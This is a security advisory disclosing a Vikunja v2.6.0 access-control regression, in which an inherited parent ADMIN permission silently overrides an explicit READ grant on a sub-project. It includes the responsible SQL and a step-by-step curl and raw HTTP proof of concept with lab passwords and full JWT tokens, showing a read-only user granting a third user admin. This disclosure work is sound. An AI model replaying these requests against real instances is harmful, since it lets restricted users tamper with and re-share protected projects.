GHSA-pjr3-86v4-5p7w

ghsaUSosv

Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0)

view advisory published 2026-10-09Licence: CC-BY-4.0

## Description ### Summary In Vikunja v2.6.0 the project-permission engine resolves a user's effective permission on a project as the **MAX over the entire reachable project subtree**. As a result, when a user has been granted a **higher** permission on a parent project and the owner *explicitly* shares a **child** project with that same user at a **lower** permission (an intended down-restriction), the explicit lower grant is **silently ignored** and the user receives the higher, inherited permission on the child. A user who was deliberately restricted to **read-only** on a sensitive sub-project can therefore modify it, delete it, and re-share it (including granting other users admin) - none of which the owner intended. This is a behavior regression from v2.5.0, whose engine used "nearest-ancestor-grant-wins" semantics that honored the explicit child grant. ### Details Effective permissions are computed by a single recursive CTE in `pkg/models/project_access.go` (`getProjectAccessForUser`): ```sql WITH RECURSIVE grants (project_id, permission) AS ( SELECT project_id, MAX(permission) FROM ( SELECT id AS project_id, 2 AS permission FROM projects WHERE owner_id = ? UNION ALL SELECT project_id, permission FROM users_projects WHERE user_id = ? UNION ALL SELECT tp.project_id, tp.permission FROM team_projects tp INNER JOIN team_members tm ON tm.team_id = tp.team_id WHERE tm.user_id = ? ) direct_grants GROUP BY project_id ), tree (id, permission) AS ( SELECT p.id, g.permission FROM projects p INNER JOIN grants g ON g.project_id = p.id UNION SELECT p.id, t.permission FROM projects p INNER JOIN tree t ON p.parent_project_id = t.id ) SELECT id, MAX(permission) AS permission FROM tree GROUP BY id ``` For a parent `P` where the user has a direct ADMIN(2) grant and a child `C` (with `parent_project_id = P`) where the user has a direct READ(0) grant, the `tree` CTE produces the rows `(P,2)`, `(C,0)` (direct grants) **and** `(C,2)` (the parent grant propagated down the recursion). The final `SELECT id, MAX(permission) ... GROUP BY id` collapses the child to `MAX(0, 2) = 2 (ADMIN)`. The explicit READ grant on `C` is discarded. In v2.5.0 the equivalent resolution used `ROW_NUMBER() OVER (... ORDER BY priority)` (nearest-ancestor wins), so the child's own direct grant took precedence and the down-restriction was honored. The switch to `MAX(...)` in v2.6.0 introduces the override. Code comments in `project_access.go` describe the additive behavior as intentional ("a grant on a descendant can raise an inherited permission, never lower it"), so the maintainers may consider this working-as-intended - but it is a security-relevant regression that silently defeats an explicit, owner-configured access restriction, so it is reported here for a decision. ### PoC Target: `http://localhost:3456` (Vikunja v2.6.0). Owner: `admin`. Restricted collaborator: `alice` (id 2). Third party used to demonstrate re-sharing: `bob`. Note Vikunja's v1 REST convention: **`PUT` = create, `POST` = update**. All values below are the **real, unredacted** values from the run. #### Step 1 - Log in as the owner (admin) and as the restricted collaborator (alice) ```bash curl -s -X POST http://localhost:3456/api/v1/login -H 'Content-Type: application/json' \ -d '{"username":"admin","password":"VikunjaLab123!"}' curl -s -X POST http://localhost:3456/api/v1/login -H 'Content-Type: application/json' \ -d '{"username":"alice","password":"AliceLab123!"}' ``` Real tokens issued: ``` admin: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzMsImlkIjoxLCJpc19hZG1pbiI6dHJ1ZSwianRpIjoiODY1ZmNjMDEtMDQ3Zi00NjM2LWI1M2QtNmU1MzliZTRhMDY4Iiwic2lkIjoiYTFhMDQ1YWYtOWMyMC00YmRmLWE2YzQtMjRmN2JkM2QwMDRlIiwidHlwZSI6MSwidXNlcm5hbWUiOiJhZG1pbiJ9.4l8vTEkB_gna717cNLc_tgOI_kUBcZMjKiZH6U8sPAg alice: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzQsImlkIjoyLCJpc19hZG1pbiI6ZmFsc2UsImp0aSI6IjhhODI2OWEwLTY0NWEtNDkwNS05NGRkLWI2NzM4NjdlNTEyOSIsInNpZCI6IjY0N2FmYWI5LTM5NjgtNDZiYi1iNTNmLTVmNTFmMDZlNDk1OSIsInR5cGUiOjEsInVzZXJuYW1lIjoiYWxpY2UifQ.cun_kHsKsQ02rizsh4NkcoEfX0iRWlXgtXvZjGrvPcU ``` #### Step 2 - Owner sets up the projects (parent, sensitive child, standalone control) ```bash # parent (id 18) curl -s -X PUT http://localhost:3456/api/v1/projects -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <admin-token>' -d '{"title":"FinanceRoot"}' # child of parent 18 (id 19) curl -s -X PUT http://localhost:3456/api/v1/projects -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <admin-token>' -d '{"title":"Q4-Payroll-CONFIDENTIAL","parent_project_id":18}' # standalone control (id 20) curl -s -X PUT http://localhost:3456/api/v1/projects -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <admin-token>' -d '{"title":"ControlStandalone"}' ``` Result: parent `id=18`, child `id=19` (`parent_project_id=18`), control `id=20`. #### Step 3 - Owner grants: parent → alice ADMIN(2); child → alice READ(0) (the intended down-restriction); control → alice READ(0) ```bash curl -s -X PUT http://localhost:3456/api/v1/projects/18/users -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <admin-token>' -d '{"username":"alice","permission":2}' # -> 201 curl -s -X PUT http://localhost:3456/api/v1/projects/19/users -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <admin-token>' -d '{"username":"alice","permission":0}' # -> 201 curl -s -X PUT http://localhost:3456/api/v1/projects/20/users -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <admin-token>' -d '{"username":"alice","permission":0}' # -> 201 ``` Confirm the recorded child grant is READ(0): ```bash curl -s http://localhost:3456/api/v1/projects/19/users -H 'Authorization: Bearer <admin-token>' # -> [{"id":..,"username":"alice","permission":0, ...}] (0 = Read only) ``` #### Step 4 - THE FINDING: alice (explicit READ on child 19) performs an ADMIN-only operation on it - grant bob ADMIN(2) **curl** ```bash curl -sv -X PUT http://localhost:3456/api/v1/projects/19/users -H 'Content-Type: application/json' \ -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzQsImlkIjoyLCJpc19hZG1pbiI6ZmFsc2UsImp0aSI6IjhhODI2OWEwLTY0NWEtNDkwNS05NGRkLWI2NzM4NjdlNTEyOSIsInNpZCI6IjY0N2FmYWI5LTM5NjgtNDZiYi1iNTNmLTVmNTFmMDZlNDk1OSIsInR5cGUiOjEsInVzZXJuYW1lIjoiYWxpY2UifQ.cun_kHsKsQ02rizsh4NkcoEfX0iRWlXgtXvZjGrvPcU' \ -d '{"username":"bob","permission":2}' ``` **Burp / raw HTTP request** ```http PUT /api/v1/projects/19/users HTTP/1.1 Host: localhost:3456 User-Agent: curl/8.20.0 Accept: */* Content-Type: application/json Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzQsImlkIjoyLCJpc19hZG1pbiI6ZmFsc2UsImp0aSI6IjhhODI2OWEwLTY0NWEtNDkwNS05NGRkLWI2NzM4NjdlNTEyOSIsInNpZCI6IjY0N2FmYWI5LTM5NjgtNDZiYi1iNTNmLTVmNTFmMDZlNDk1OSIsInR5cGUiOjEsInVzZXJuYW1lIjoiYWxpY2UifQ.cun_kHsKsQ02rizsh4NkcoEfX0iRWlXgtXvZjGrvPcU Content-Length: 33 {"username":"bob","permission":2} ``` **Raw HTTP response** ```http HTTP/1.1 201 Created Cache-Control: no-store Content-Type: application/json Vary: Origin X-Request-Id: EbiVasgeMYwKryJMTQnKlnvzCCvDDMJb Date: Mon, 07 Sep 2026 17:39:34 GMT Content-Length: 128 {"id":12,"username":"bob","permission":2,"created":"2026-09-07T17:39:34.158776607Z","updated":"2026-09-07T17:39:34.158778081Z"} ``` alice - restricted to READ on project 19 - successfully granted **bob ADMIN(2)** on it (a share-management operation that requires project admin). She can equally modify it: ```bash # write op (POST = update); succeeds -> HTTP 200 curl -s -o /dev/null -w '%{http_code}\n' -X POST http://localhost:3456/api/v1/projects/19 \ -H 'Content-Type: application/json' -H 'Authorization: Bearer <alice-token>' \ -d '{"title":"Q4-Payroll-TAMPERED-BY-ALICE"}' # -> 200 ``` #### Step 5 - CONTROL (proves the operation genuinely requires admin): alice performs the same op on the standalone control project 20, where she has only READ **curl** ```bash curl -sv -X PUT http://localhost:3456/api/v1/projects/20/users -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <alice-token>' -d '{"username":"bob","permission":0}' ``` **Raw HTTP response** ```http HTTP/1.1 403 Forbidden Cache-Control: no-store Content-Type: application/json Vary: Origin X-Request-Id: hBmvxefjkinrsotTcrotKLaMHfoxTzyK Date: Mon, 07 Sep 2026 17:39:34 GMT Content-Length: 33 {"code":0,"message":"Forbidden"} ``` The single-variable differential: alice's identical READ(0) grant denies the admin operation on a standalone project (403), but the *same* READ(0) grant on a child of a project where she holds ADMIN is silently elevated to ADMIN - the admin op succeeds (201). This isolates the cause to the inherited-permission override, not to alice's explicit grant. ### Impact This is a **broken access control / improper privilege management** issue (CWE-269). A project owner who grants a collaborator a high permission on a parent project and then explicitly shares a sensitive sub-project with that collaborator at a **lower** permission (e.g. read-only) does **not** get the restriction they configured: the collaborator silently retains the higher inherited permission on the sub-project and can modify it, delete it, and re-share it to arbitrary third parties (demonstrated: granting `bob` ADMIN on the read-restricted child). This defeats an explicit, security-relevant configuration and can expose or allow tampering with data on sub-projects that were meant to be restricted. It is a regression from v2.6.0's predecessor, which honored the nearest (child) grant. The prerequisite is that the attacker already holds a higher permission on an ancestor project; the security loss is specifically the inability to enforce a narrower permission on a descendant.

01

describes (1)

Related CVEs.

IDseverity exploitable
CVE-2026-111920USmedium4.3—
Vikunja 2.6.0 contains a broken access control flaw in getProjectAccessForUser (pkg/models/project_access.go), which resolves a user's effective project permission as the maximum o…
02

references

External citations — patches, advisories, analysis.

scry

Advisories like this name the exposed products attackers go after on your perimeter. See what is exposed on your perimeter with a free passive scan.

Free scan